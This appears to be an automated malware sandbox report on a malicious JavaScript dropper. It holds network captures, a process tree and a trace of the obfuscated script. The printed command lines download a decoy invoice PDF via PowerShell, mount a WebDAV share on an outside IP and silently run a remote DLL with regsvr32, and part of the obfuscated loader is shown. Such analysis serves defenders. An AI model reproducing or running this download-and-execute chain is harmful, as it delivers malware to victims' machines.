Jan 11, 2025 06:56:20.881654024 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.881659031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881670952 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881681919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881695032 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881705046 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.881716013 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.881767035 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882051945 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882064104 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882075071 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882108927 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882119894 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882123947 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882133007 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882144928 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882186890 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882221937 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882232904 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882244110 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882256031 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882266998 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882275105 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882278919 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882317066 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882317066 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882349014 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882361889 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882373095 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882385015 CET	80	49717	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:20.882431984 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:20.882476091 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:21.150156975 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:21.329547882 CET	49717	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:21.805819988 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:21.810633898 CET	8888	49733	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:21.810730934 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:21.811078072 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:21.815823078 CET	8888	49733	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:22.631797075 CET	8888	49733	193.143.1.205	192.168.2.10
Jan 11, 2025 06:56:22.673460007 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:56:23.744647026 CET	49733	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 06:57:47.914021015 CET	65529	53	192.168.2.10	1.1.1.1
Jan 11, 2025 06:57:47.918915987 CET	53	65529	1.1.1.1	192.168.2.10
Jan 11, 2025 06:57:47.919116974 CET	65529	53	192.168.2.10	1.1.1.1
Jan 11, 2025 06:57:47.919209003 CET	65529	53	192.168.2.10	1.1.1.1
Jan 11, 2025 06:57:47.923988104 CET	53	65529	1.1.1.1	192.168.2.10
Jan 11, 2025 06:57:48.383217096 CET	53	65529	1.1.1.1	192.168.2.10
Jan 11, 2025 06:57:48.384428024 CET	65529	53	192.168.2.10	1.1.1.1
Jan 11, 2025 06:57:48.389533997 CET	53	65529	1.1.1.1	192.168.2.10
Jan 11, 2025 06:57:48.389594078 CET	65529	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:56:30.169614077 CET	52701	53	192.168.2.10	1.1.1.1
Jan 11, 2025 06:57:47.913058043 CET	53	51707	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:56:30.169614077 CET	192.168.2.10	1.1.1.1	0xeb8c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:56:30.177666903 CET	1.1.1.1	192.168.2.10	0xeb8c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:57:34.898406029 CET	1.1.1.1	192.168.2.10	0xa658	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:57:34.898406029 CET	1.1.1.1	192.168.2.10	0xa658	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49717	193.143.1.205	80	1624	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:56:19.087613106 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:56:19.886425972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:56:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:56:19.886440039 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:56:19.886451006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:56:19.886502981 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 06:56:19.886517048 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:56:19.886557102 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:56:19.886568069 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:56:19.886626959 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:56:19.886641026 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:56:19.886651039 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:56:19.891549110 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49733	193.143.1.205	8888	8100	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:56:21.811078072 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:56:22.631797075 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:56:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:56:15
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1702927977169302141.js"
Imagebase:	0x7ff680940000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:56:15
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll
Imagebase:	0x7ff6daf10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:56:15
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:56:16
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:56:20
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:56:20
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6daf10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:56:20
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cc8c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:56:21
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:56:21
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:56:21
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1684,i,4406895011367377378,10225544513247605529,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qzzuiq() {	qzzuiq() ➔ undefined
1	ufmkeyylw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var parxos = this[xrkdkb + zndakpdzf + tgsvp + jqmayzk + vxlugnqwc + udhonwghi + bxpbu + fjemgowd] ( this[kouuvri + rmgbv + dfmwxcj + tgsvp + qquqlxlpo + xrkdkb + fjemgowd][zbjkfdqyu + tgsvp + vxlugnqwc + zndakpdzf + fjemgowd + vxlugnqwc + csnjrsn + etbvnaqy + exagcqdi + vxlugnqwc + dfmwxcj + fjemgowd] ( kouuvri + rmgbv + dfmwxcj + tgsvp + qquqlxlpo + xrkdkb + fjemgowd + pldaxevf + rmgbv + hfsnjm + vxlugnqwc + wpukfu + wpukfu ) [uvnsyq + vxlugnqwc + tqhic + uvnsyq + vxlugnqwc + zndakpdzf + caymqgxpa] ( smaxujzn + bksnsktvk + mlqvaagl + wwtknifm + kdpfdd + zbjkfdqyu + ieldcaw + uvnsyq + uvnsyq + mlqvaagl + eevssnj + lwfwmyavg + kdpfdd + ieldcaw + rmgbv + mlqvaagl + uvnsyq + anaain + zbjkfdqyu + ixbzfbp + bxpbu + fjemgowd + tgsvp + ixbzfbp + wpukfu + mciiszsqv + znrhf + zndakpdzf + bxpbu + vxlugnqwc + wpukfu + anaain + udhonwghi + bxpbu + fjemgowd + vxlugnqwc + tgsvp + bxpbu + zndakpdzf + fjemgowd + qquqlxlpo + ixbzfbp + bxpbu + zndakpdzf + wpukfu + anaain + kenaxj + ixbzfbp + dfmwxcj + zndakpdzf + wpukfu + vxlugnqwc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dgacq = 0 ; dgacq < ufmkeyylw[wpukfu + vxlugnqwc + bxpbu + tqhic + fjemgowd + hfsnjm] ; ++ dgacq )
4	{
5	if ( parxos == ufmkeyylw[dgacq] )
6	{
7	parxos = true;
8	break ;
9	}
10	}
11	if ( parxos !== true )
12	this[kouuvri + rmgbv + dfmwxcj + tgsvp + qquqlxlpo + xrkdkb + fjemgowd][asgckdxn + ovzjlpnz + qquqlxlpo + fjemgowd] ( );
13	this[kouuvri + rmgbv + dfmwxcj + tgsvp + qquqlxlpo + xrkdkb + fjemgowd][zbjkfdqyu + tgsvp + vxlugnqwc + zndakpdzf + fjemgowd + vxlugnqwc + csnjrsn + etbvnaqy + exagcqdi + vxlugnqwc + dfmwxcj + fjemgowd] ( kouuvri + rmgbv + dfmwxcj + tgsvp + qquqlxlpo + xrkdkb + fjemgowd + pldaxevf + rmgbv + hfsnjm + vxlugnqwc + wpukfu + wpukfu ) [tgsvp + ovzjlpnz + bxpbu] ( dfmwxcj + djpqh + caymqgxpa + mciiszsqv + exnfvzo + dfmwxcj + mciiszsqv + xrkdkb + ixbzfbp + yyolvbf + vxlugnqwc + tgsvp + jqmayzk + hfsnjm + vxlugnqwc + wpukfu + wpukfu + pldaxevf + vxlugnqwc + ukuqz + vxlugnqwc + mciiszsqv + yagdixub + zbjkfdqyu + ixbzfbp + djpqh + djpqh + zndakpdzf + bxpbu + caymqgxpa + mciiszsqv + sikhf + udhonwghi + bxpbu + jlcpgblk + ixbzfbp + ytcqb + vxlugnqwc + yagdixub + kouuvri + vxlugnqwc + etbvnaqy + uvnsyq + vxlugnqwc + xjjjdhh + ovzjlpnz + vxlugnqwc + jqmayzk + fjemgowd + mciiszsqv + yagdixub + csnjrsn + ovzjlpnz + fjemgowd + qtnmay + qquqlxlpo + wpukfu + vxlugnqwc + mciiszsqv + umwybiz + fjemgowd + vxlugnqwc + djpqh + xrkdkb + umwybiz + anaain + qquqlxlpo + bxpbu + jlcpgblk + ixbzfbp + qquqlxlpo + dfmwxcj + vxlugnqwc + pldaxevf + xrkdkb + caymqgxpa + fpbkldgh + mciiszsqv + hfsnjm + fjemgowd + fjemgowd + xrkdkb + rnjmykwwy + exnfvzo + exnfvzo + wjoifp + xpdhidwi + uwudb + pldaxevf + wjoifp + rbsygfe + uwudb + pldaxevf + wjoifp + pldaxevf + mjklnuhw + lqxevl + zgjlufe + exnfvzo + qquqlxlpo + bxpbu + jlcpgblk + ixbzfbp + qquqlxlpo + dfmwxcj + vxlugnqwc + pldaxevf + xrkdkb + hfsnjm + xrkdkb + sikhf + uoaey + uoaey + jqmayzk + fjemgowd + zndakpdzf + tgsvp + fjemgowd + mciiszsqv + umwybiz + fjemgowd + vxlugnqwc + djpqh + xrkdkb + umwybiz + anaain + qquqlxlpo + bxpbu + jlcpgblk + ixbzfbp + qquqlxlpo + dfmwxcj + vxlugnqwc + pldaxevf + xrkdkb + caymqgxpa + fpbkldgh + uoaey + uoaey + dfmwxcj + djpqh + caymqgxpa + mciiszsqv + exnfvzo + dfmwxcj + mciiszsqv + bxpbu + vxlugnqwc + fjemgowd + mciiszsqv + ovzjlpnz + jqmayzk + vxlugnqwc + mciiszsqv + anaain + anaain + wjoifp + xpdhidwi + uwudb + pldaxevf + wjoifp + rbsygfe + uwudb + pldaxevf + wjoifp + pldaxevf + mjklnuhw + lqxevl + zgjlufe + selnsva + gkdmy + gkdmy + gkdmy + gkdmy + anaain + caymqgxpa + zndakpdzf + jlcpgblk + yyolvbf + yyolvbf + yyolvbf + tgsvp + ixbzfbp + ixbzfbp + fjemgowd + anaain + uoaey + uoaey + dfmwxcj + djpqh + caymqgxpa + mciiszsqv + exnfvzo + dfmwxcj + mciiszsqv + tgsvp + vxlugnqwc + tqhic + jqmayzk + jlcpgblk + tgsvp + uwudb + mjklnuhw + mciiszsqv + exnfvzo + jqmayzk + mciiszsqv + anaain + anaain + wjoifp + xpdhidwi + uwudb + pldaxevf + wjoifp + rbsygfe + uwudb + pldaxevf + wjoifp + pldaxevf + mjklnuhw + lqxevl + zgjlufe + selnsva + gkdmy + gkdmy + gkdmy + gkdmy + anaain + caymqgxpa + zndakpdzf + jlcpgblk + yyolvbf + yyolvbf + yyolvbf + tgsvp + ixbzfbp + ixbzfbp + fjemgowd + anaain + uwudb + wjoifp + oawyojb + rbsygfe + lqxevl + wjoifp + gkdmy + oawyojb + xpdhidwi + lqxevl + mjklnuhw + xpdhidwi + lqxevl + xpdhidwi + zgjlufe + pldaxevf + caymqgxpa + wpukfu + wpukfu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316401869029095.dll",0,false) ➔ 0
14	}
15	eevssnj = "S";
16	eevssnj = "H";
17	eevssnj = "V";
18	eevssnj = "O";
19	eevssnj = "y";
20	eevssnj = "m";
21	eevssnj = "c";
22	eevssnj = "Z";
23	eevssnj = "t";
24	eevssnj = "M";
25	eevssnj = "r";
26	eevssnj = "F";
27	eevssnj = "S";
28	eevssnj = "i";
29	eevssnj = "F";
30	eevssnj = "F";
31	eevssnj = "K";
32	eevssnj = "d";
33	eevssnj = "g";
34	eevssnj = "T";
35	eevssnj = "z";
36	eevssnj = "U";
37	eevssnj = "L";
38	eevssnj = "t";
39	eevssnj = "l";
40	eevssnj = "f";
41	eevssnj = "C";
42	eevssnj = "o";
43	eevssnj = "d";
44	eevssnj = "h";
45	eevssnj = "n";
46	eevssnj = "X";
47	eevssnj = "o";
48	eevssnj = "K";
49	eevssnj = "M";
50	eevssnj = "N";
51	yagdixub = "P";
52	yagdixub = "w";
53	yagdixub = "E";
54	yagdixub = "o";
